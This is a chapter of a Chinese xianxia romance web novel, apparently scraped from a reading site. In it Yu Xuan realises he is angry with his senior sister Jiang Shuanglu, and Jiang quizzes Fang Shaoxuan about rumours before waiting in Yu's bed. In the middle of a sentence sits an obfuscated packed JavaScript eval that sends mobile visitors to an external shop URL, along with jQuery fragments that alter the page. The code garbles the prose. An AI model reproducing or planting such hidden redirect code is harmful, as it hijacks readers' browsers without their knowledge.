他几乎没见过余喧生气,这人哪怕面对杀戮无数的魔族、背叛道门的倒戈者也都是面无表情,不觉得被背叛,也不觉得气愤。

    哪怕是小时候,被人骑在身上,也都是一副没有受辱的样子。

    他不会生气。

    更不会对江双鹿生气。

    曾经江双鹿那么欺负他,他都不会对她说一句重话。

    更何况后来江双鹿终于变了个人样,想通了。

    对余喧那么温柔体贴,余喧怎么可能会对她生气。

    余喧似是被方少轩点醒,紧缩的眉头舒展开来,一副迷茫的样子。

    原来他是在对师姐生气吗?

    这种情绪太陌生了,三百年的时间,陌生到他都快忘了。

    师姐对他很好,温柔、关心。

    不论何时都始终将他放在第一,会把得到的好东西都给他,会在他差一点死在万驼岭时,冒死来救他。

    师姐不会做任何使他生气的事。

    她表现得很好。

    他对江双鹿会生气已经是三百年前的事了。

    那时候她总是让他又气又恨……

    余喧止住思绪。

    他已经很久没回忆过三百年前的事了。

    是故意的还是下意识的,他已经分不清了。

    他忙碌地处理着仙盟事务,试图将这令人挣扎的思索挤出脑子外。

    但那问题却总是又强势地占据他所有思考。

    一天下来,他竟感到一丝疲惫。

    夜深回到寝殿,山里夜色皎洁,空气冷冽,冷冷静静的院子让心绪安静了不少。

    他揉了揉疲惫的双穴,只想好好休息。

    推开门。

    “你怎么才回来!”

    繁复疲惫的脑子,突然像被一根刺刺中了,剧痛让他清醒了过来。

    循着声音找去,他不可思议地睁大了双眼。

    声音的来源竟是在床榻上。

    而江双鹿正趴在上面,一脸不满地盯着他。

    来之前,她去找了趟方少轩。

    方少轩正在自己房间喝茶,靠着窗台欣赏美景,惬意又懒散。

    突然窗口上倒吊一个人影下来。

    方少轩吓得从椅子上摔下去,噼里啪啦地茶杯茶水摔了一地。

    他定睛一看,认出是江双鹿,才忍住没把手里的扇子扔出去,“师姐?”

    江双鹿灵巧地从窗口翻下来,坐在窗沿上,“是我。”

    方少轩捂着胸口,“你在窗上面干嘛?”

    “我来找你啊。”

    “那你不能走门吗?”

    “哦,习惯了。”

    习惯了?方少轩不知道她从哪养成的习惯,谁习惯从人头顶出现啊。

    江双鹿直接道明了来意,“我有几个问题想考考你。”

    方少轩起身拍拍衣服,上好的料子都给弄脏了,他坐下又摇开扇子,“师姐,请讲?”

    江双鹿挑眉,方少轩小时候可是整天跟着自己屁股后跑,可从不会这么尊敬地叫她师姐,

    怎么现在说话就这么客气了?

    她心里有点打鼓了,原本想着方少轩是离“冒牌货”和余喧最近的人,他两的关系虽然谣言纷纷,传得五花八门的,但真正的情况方少轩不可能不了解。

    “在你看来,我和余喧的关系如何?”

    方少轩手一停,眼神瞟向江双鹿,“师姐怎么想起来问这个?”

    方少轩从小就这样,当他怀疑谁时,就会眼神瞟向他,说话阴阳怪气的。

    江双鹿一巴掌拍到他后脑勺,

    “问你什么,你就回答什么。”

    方少轩被这一巴掌打懵了,眼睛瞪得老圆,头发都被打散几缕。

    他不可置信地看向江双鹿。

    江双鹿是他表姐,从小他被家里送到望山宗,不愁吃喝也不求上进。

    望山宗有江双鹿继承,没他的事儿,他倒借着掌门的侄子的身份自由得到处游荡,修炼也不上心。

    跟在江双鹿屁股后面玩,出了事也有江双鹿给他摆平。

    当然会揍他的也只有江双鹿了。

    那时他和江双鹿关系很好,说话不分彼此。

    为了彰显自己的身份,他向来对江双鹿直呼其名,只有在正式场合才叫师姐,当然要求她的时候,他也会叫姐姐。

    然而,从什么时候开始他也不记得了。

    江双鹿变得遥远了,她变得一心只想着余喧,不论何时都跟着余喧。

    他和江双鹿也渐渐有了距离。

    江双鹿对他很客气,也很疏远,虽然语气温柔甜美。

    但是方少轩却总觉得没有亲切感。

    后来,他们两之间几乎没有再单独见过面,反而在人魔混战之后,他和余喧的距离更近一些。

    他也开始只叫江双鹿师姐了。

    这种像是长辈教训晚辈的巴掌把他打蒙了,他疑惑地打量江双鹿。

    自从死而复生后,她变得很奇怪。

    “说话!”

    江双鹿又抬起手。

    方少轩少时挨打的记忆本能地让他抬起手挡住脑袋,“说说说。”

    江双鹿这才放下手。

    方少轩轻咳一声,“师……你指哪方面?”

    “那些谣言你都听过吧?”江双鹿自己也不太好意思提起这些谣言,甚至觉得有些羞耻。

    “哦——”方少轩眼神一挑,“你说那些啊。”

    无非就是江双鹿和余喧的关系,每过一段时间都会传点新的谣言出来。

    说余喧对师姐一见钟情,仗着修为高强迫江双鹿的也有。

    说江双鹿用望山宗掌门之位换得余喧做上门女婿的也有。

    总之,离不开两人扑朔迷离的关系,说得都是风花雪月,郎情妾意。

    但方少轩知道,那两人之间是一种更为扭曲和奇怪的关系。

    他说不清,搞不清楚为什么。

    只知道两人都需要对方,需要的“是什么”,这只有当事人才知道了。

    但是,来问他干什么?

    方少轩向来说话拐弯抹角,“师姐不该比谁都清楚那些都是无稽之谈吗?”

    江双鹿说:“我当然清楚了。我这不是来看一下你们是怎么想的吗?”

    “少轩认为啊——”

    方少轩还没说完,就听到一声嫌弃的呜声,他抬头看到江双鹿皱起的眉头,额头抽了抽,“师姐,我说错什么话了吗?”

    “怎么有人自己叫自己的名字啊?不恶心吗?”

    方少轩捏紧了扇

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721081|208653||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    柄,额角抽搐得更厉害了,青筋都暴起了。

    好久没有这样想骂人的冲动了,他猛然回想起余喧今早那一副阴翳的表情。

    余喧绝对也是在对江双鹿生气!

    也是,谁能忍得住呢!

    但是他生气的,又是哪件事呢?

    他念头一转,既然都已经乱成这样了,不如添把火,大家都别好过!

    他笑得诚恳,“师姐教训的对,我认为师姐和余喧自然比谣言里更亲密,余喧对师姐那是一往情深啊。”

    他见到江双鹿的脸顿时从红变白,又从白变红,变幻莫测。

    觉得自己扳回一城,像找回了小时候恶作剧时的快乐。

    “那……那你觉得我和余喧到了谣言里的哪种程度?”江双鹿说这话时脸都要烧起来了,说话既觉得难以启齿又不知道该用什么措辞,“就是……同同同……”

    “同床共枕?”方少轩替她把话说完。

    江双鹿一下感觉自己要晕厥过去了。

    这对狗男女!

    她一口气气得上不来,头顶都在冒烟,杀人的冲动都顶到了喉头。

    什么九十次!什么修为!

    干脆直接把余喧砍了吧!

    方少轩觉得江双鹿太奇怪了,显然她信了他这番话,难不成他瞎说的还真说对了?

    他这下也慌了,仿佛自己撞破了什么大秘密。

    “当然,师姐和余喧虽然共处一室,但是房间里发生了什么事我绝对不清楚,也不可能清楚啊。”

    方少轩极力撇清关系,不想让自己显得像个变态一样。

    江双鹿没有理他,自己一个人需要好好冷静一下。

    白天贴着余喧这条路肯定行不通了,要想贴够四个时辰,只能在夜里睡觉时。

    她去找方少轩本就是为了个答案,看“冒牌货”是不是和余喧有过同床共枕。

    如果有,那她去贴着余喧睡觉才不会惹人怀疑。

    怎么得到了确定答案,她反而犹豫了。

    “啊啊啊啊啊啊啊啊啊啊!”

    江双鹿也不管有没有人,不管不顾地大叫了起来。

    都被人叫“控制欲极强的妒妇”了,贴着睡觉又能怎么样!

    江双鹿捏紧了拳头,总有一天她会讨回来的。

    她鼓起勇气去到余喧寝殿,里面却没有人。

    她咬了咬牙,躺到床上等余喧,一直等到子时,也不见人,便算起了时辰。

    余喧每天在卯时起床,现在子时,脑子里一算,怎么都不够四个时辰。

    还不回来去哪了!

    她等得越来越不耐烦,余喧进来的瞬间,她几乎下意识地就骂道:“你怎么才回来!”

    说完,她也愣住了,意识到这句话的不合适,像个苦等丈夫,结果丈夫迟迟未归的妻子。

    怦的一声,全身的血液都涌到了头部,她后悔得要死。

    余喧瞳孔放大,让自己愁了一天的人就这么出现在眼前,

    还是出现在自己的寝殿里。

    他说话带着点慌乱,“师姐,你怎么来了?”

    江双鹿撑起身子,脸上因为尴尬憋出了红晕,说话时还在强装镇定,“我想来这儿睡,不行吗?”

    声音虽然大,底气却略显不足。